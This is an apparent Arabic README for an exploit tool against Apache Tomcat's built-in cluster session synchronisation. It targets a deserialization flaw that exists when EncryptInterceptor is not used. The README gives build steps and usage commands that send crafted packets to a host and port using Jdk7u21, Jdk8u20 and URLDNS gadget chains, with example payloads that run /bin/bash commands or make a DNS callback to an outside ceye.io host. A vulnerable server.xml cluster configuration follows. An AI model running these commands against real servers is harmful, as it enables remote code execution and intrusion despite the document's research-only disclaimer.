
عند استخدام Tomcat لميزة مزامنة Session المدمجة، يؤدي التكوين غير الآمن (عدم استخدام EncryptInterceptor) إلى وجود ثغرة إلغاء تسلسل (Deserialization). من خلال حزم بيانات مُصمَّمة بعناية، يمكن مهاجمة الخوادم التي تستخدم ميزة مزامنة Session المدمجة في Tomcat. ملاحظة: هذه ليست CVE-2020-9484، فـ 9484 هي ثغرة استمرارية الجلسات (Session Persistence)، وهذه هي ثغرة مزامنة مجموعات الجلسات (Session Cluster Sync)!
الأداة مخصصة لأغراض البحث الأمني والفحص الذاتي الداخلي فقط، ويُحظر استخدامها لشن هجمات غير قانونية، والمستخدم يتحمل مسؤولية العواقب الناتجة
هذه ثغرة إلغاء تسلسل (Deserialization) ناتجة عن تكوين غير آمن (عدم استخدام EncryptInterceptor) عندما يستخدم Tomcat وظيفة مزامنة الجلسات المدمجة لديه، فمن خلال حزم بيانات مُعدّة بعناية يمكن مهاجمة الخوادم التي تستخدم وظيفة مزامنة الجلسات المدمجة في Tomcat.
قم أولاً بتجميع حزمة jar:
mvn clean compile assembly:assembly
تكون حزمة jar المُولّدة في مجلد target
الاستخدام، على سبيل المثال:
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"
(conf/server.xml):
<Server>
...
<Service>
...
<Engine>
...
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="6">
<Manager className="org.apache.catalina.ha.session.BackupManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"
mapSendOptions="6"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4"
port="45564"
frequency="500"
dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="123.123.123.123"
port="5000"
selectorTimeout="100"
maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
<Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
tempDir="/tmp/war-temp/"
deployDir="/tmp/war-deploy/"
watchDir="/tmp/war-listen/"
watchEnabled="false"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
</Engine>
</Service>
</Server>